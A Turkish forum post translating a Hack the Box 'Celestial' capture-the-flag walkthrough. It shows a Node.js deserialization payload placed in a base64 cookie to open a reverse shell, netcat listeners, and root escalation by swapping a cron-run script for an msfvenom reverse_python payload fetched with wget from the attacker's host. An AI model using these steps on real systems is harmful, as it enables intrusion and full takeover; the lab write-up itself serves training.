Hack the Box | Celestial CTF Çözümü / R4V3N

R4V3N

Adanmış Üye
3 Tem 2016
6,250
38
26
Kocaeli

PzBt6R.png


Bu makale Moderasyon Çeviri Ekibi tarafından çevrilmiştir. Orijinal içeriğe
Hack the Box: Celestial Walkthrough adresinden ulaşabilirsiniz.

Zorluk Seviyesi: Orta

Görev: Kurbanın bilgisayarında user.txt ve root.txt dosyalarını bulmak.

Başlayalım..

Bu pentest laboratuvarları internetten olduğundan, statik IP'ye sahiplerdir. Bunun IP'si 10.10.10.85.

Hedefimizi bulmak için ağı taramakla işe koyulalım.

Kod:
[COLOR="white"][CENTER]nmap -A 10.10.10.85[/CENTER][/COLOR]

MBZhfA.png


NMAP çıktısı, bize hedef bilgisayarda TCP 3000 portunun açık olduğunu gösteriyor. Aşağıdaki gibi standart olmayan HTTP portundan (3000) siteye erişim sağlamaya çalışalım.

Url kısmına

Kod:
[COLOR="white"][CENTER]10.10.10.85:3000[/COLOR]

yazdığımızda şöyle bir sayfa karşımıza çıkıyor:

FCUZ3G.png


Diğer pek çok olasılıkları da denedikten sonra ilerlemek için halen bir ipucu bulamadığımızdan, çabucak Burpsuite aracı ile sitenin isteğini anlamaya çalışalım. Bu nedenle, sayfasının GET isteğini yakaladıktan sonra, (kırmızıyla gösterilen) profile= Cookie parametresini fark ettik.

1QN095.png


profile= Cookie parametresindeki tüm değeri kopyalayalım ve Burpsuite decoder (şifre çözücü) içine yapıştıralım.

Kod:
[COLOR="white"][CENTER]eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D[/CENTER][/COLOR]

Aynı şifreyi çözerken çıktısını base64 formatında alacağız. Base64 format çıktısının şifresini bir kez daha çözeceğiz ve şifrenin açık metin halini görebileceğiz. Çıktı bize belirli bir kullanıcının kullanıcı adını ve diğer detaylarını gösterdi. Bu da, istediğimiz sonucu almak için, kodlarımızı Cookie profili parametre değerine ekleyebileceğimize işarettir.

xSueRQ.png


Uzaktan erişim sağlayan bir hatadır bu Node JS ters serileştirme (deserialization) hatası. Çoklu sayısal değerler kapsayan belirli bir karakter dizisi bulunduran bir fonksiyon var.

OiAWvN.png


10'dan 10'a kadarki tüm (String.fromCharCode sonrasındaki) sayısal içerikleri kopyalayalım. Şu:

Kod:
[COLOR="white"][CENTER]https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html[/CENTER][/COLOR]

linke girelim ve aşağıdaki resimde gösterildiği gibi Decimal'den ASCII'a çevirelim.

SEeKL4.png


Şimdi de ASCII içeriğini değiştirelim ve IP'si 10.10.14.3 olan Kali'mizde HOST ve PORT parametrelerini HOST=10.10.14.3 ve PORT= 4444 olacak şekilde düzenleyelim. Tamamlandığında, Decimal'de aşağıda gösterilenle aynı çıktıyı elde edeceğiz.

aLwhpC.png


Her numara birbirinden virgülle ayrılmış bir şekilde yukarıdaki resimde de olduğu gibi 118'den 10'a kadar olan Decimal çıktısını kopyalayın.

Not: Gördüğümüz üzere, yukarıdaki Decimal çıktısı boşluk ile ayrılmıştı lakin bundan sonra ya elle tek tek yapmalı ya da aşağıda verdiğim Python scriptini kullanıp yapmalı.

Kod:
[COLOR="white"][CENTER]https://github.com/Sayantan5/Holiday/blob/master/encode.py[/CENTER][/COLOR]

Virgülle ayrılmış Decimal çıktısı hazır olduğunda şimdi ise aşağıda gösterildiği gibi kodun içine yapıştırmalıyız (decimal çıktısını değerle yer değiştirelim) ve aynı şekilde Base64 şifrelemesini uygulayalım.

Kod:
[COLOR="white"][CENTER]echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0[/CENTER][/COLOR]

zsUKyP.png


Yukarıdaki şifrelenmiş çıktıyı kopyalayalım ve aşağıdaki resimde gösterildiği gibi Burpsuite'de Profile= parametresinin önüne yapıştıralım.

GtwYX3.png


Tamamlandığında, Burpsuite Intercept sekmesindeki Forward seçeneğine tıklayalım.

Not: Burpsuite'de değiştirdiğimiz içeriği yollamadan önce, Kali'de Netcat dinleyicisini kurmalıyız ve hazır tutmalıyız.

Kod:
[COLOR="white"][CENTER]nc -lvp 4444[/CENTER][/COLOR]

Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.

Kod:
[COLOR="white"][CENTER]python -c 'import pty;pty.spawn("/bin/bash")'[/CENTER][/COLOR]

İşte bu! Hedef bilgisayara Reverse shell attık.

İçeriğine şöylece bir göz atalım.

Kod:
[COLOR="white"][CENTER]ls[/CENTER][/COLOR]

Çok klasör taradık ve sonunda ********s klasöründe ilgi çekici şeyler gördük.

Kod:
[COLOR="white"][CENTER]cd ********s[/CENTER][/COLOR]

Burada user.txt dosyasını bulduk, içeriğine bir bakalım.

Kod:
[COLOR="white"][CENTER]cat user.txt[/CENTER][/COLOR]

User.txt dosyasının içinden çıkan bizim ilk bayrağımız.

ABYLtA.png


Bunun yanı sıra içeriğini inceleme merakından bir de script.py dosyasını açalım.

Kod:
[COLOR="white"][CENTER]cat script.py[/CENTER][/COLOR]

dersek, çıktı olarak şunu göreceğiz.

Kod:
[COLOR="white"][CENTER]print “Script is running”[/CENTER][/COLOR]

Not: Bu da, bazı kayıt dosyalarını, hangi script'in çalıştığını ve periyodik temellerde çalışıp çalışmadığını görmek için incelememiz gerektiğini gösteren bir işaret.

Var dizinindeki kayıtların içeriğini incelememiz lazım.

Kod:
[COLOR="white"][CENTER]cd /var/log[/CENTER][/COLOR]

Buradaki dosyalar neymiş ona bakalım.

Kod:
[COLOR="white"][CENTER]ls[/CENTER][/COLOR]

Gördüğümüz gibi, bu klasörde oluşturulmuş bir çok syslog dosyası var. Eski kayıtlar uygun şekilde sıkıştırılıp numaralandırılıyor. Güncel olan kayıt dosyasının adı her zaman syslog olarak geçer. Bu yüzden syslog dosyasının içeriğini açacağız ve ilginç bir şey olup olmadığına bakmaya çalışacağız.

Kod:
[COLOR="white"][CENTER]cat syslog[/CENTER][/COLOR]

Burada her beş dakikada bir çalışan, script.py dosyasının çıktısını kopyalayıp aşağıdaki dizinde output.txt adlı dosya yaratıp içine yapıştıran bir cronjob olduğunun farkına vardık.

Kod:
[COLOR="white"][CENTER]home/sun/********s[/CENTER][/COLOR]

Şimdi ise kendi içeriğimizi script.py dosyasına koymaya çalışalım. Bunun için, aşağıdaki komut ile bir Reverse shell oluşturalım.

Kod:
[COLOR="white"][CENTER]msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R[/CENTER][/COLOR]

Msfvenom çıktısının içeriğini kopyalayalım ve Kali masaüstümüze script.py adında kaydedelim. Bunu sonraki adımlarda kullanacağız.

oHxmdE.png


Şimdi de Kali'de web sunucusunu çalıştıralım.

Kod:
[COLOR="white"][CENTER]python -m SimpleHTTPServer 80[/CENTER][/COLOR]

YFCslI.png


Script.py dosyasının içeriğini okuyalım.

Kod:
[COLOR="white"][CENTER]cat script.py[/CENTER][/COLOR]

Çıktı bize şunu gösterdi:

Kod:
[COLOR="white"][CENTER]print “Script is running..”[/CENTER][/COLOR]

Orijinal olan Python script dosyasının ismini aşağıdaki gibi script.py.original olacak şekilde değiştirelim.

Kod:
[COLOR="white"][CENTER]mv script.py script.py.original[/CENTER][/COLOR]

Kali masaüstümüzden yeni oluşturduğumuz script.py dosyasını indirelim.

Kod:
[COLOR="white"][CENTER]wget http://10.10.14.3/script.py[/CENTER][/COLOR]

rnIcGG.png


Bir Netcat Reverse shell açın.

nc -lvp 1234

Uygun bir TTY shell'ine erişmek için aşağıdaki tek satırlık Python script'ini içe aktarmalıyız.

Kod:
[COLOR="white"][CENTER]python -c 'import pty;pty.spawn("/bin/bash")'[/CENTER][/COLOR]

Helal be! Root'a girdik sonunda.

Root dizinine geçelim.

Kod:
[COLOR="white"][CENTER]cd /root[/CENTER][/COLOR]

İçeriği neymiş bakalım.

Kod:
[COLOR="white"][CENTER]ls[/CENTER][/COLOR]

Root.txt ve script.py adlı iki tane dosya var. Root.txt dosyasını açalım.

Kod:
[COLOR="white"][CENTER]cat root.txt[/CENTER][/COLOR]

6qLCbH.png


Süper! Görevimiz olan iki dosyaya da erişim sağladık.
[/CENTER]
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.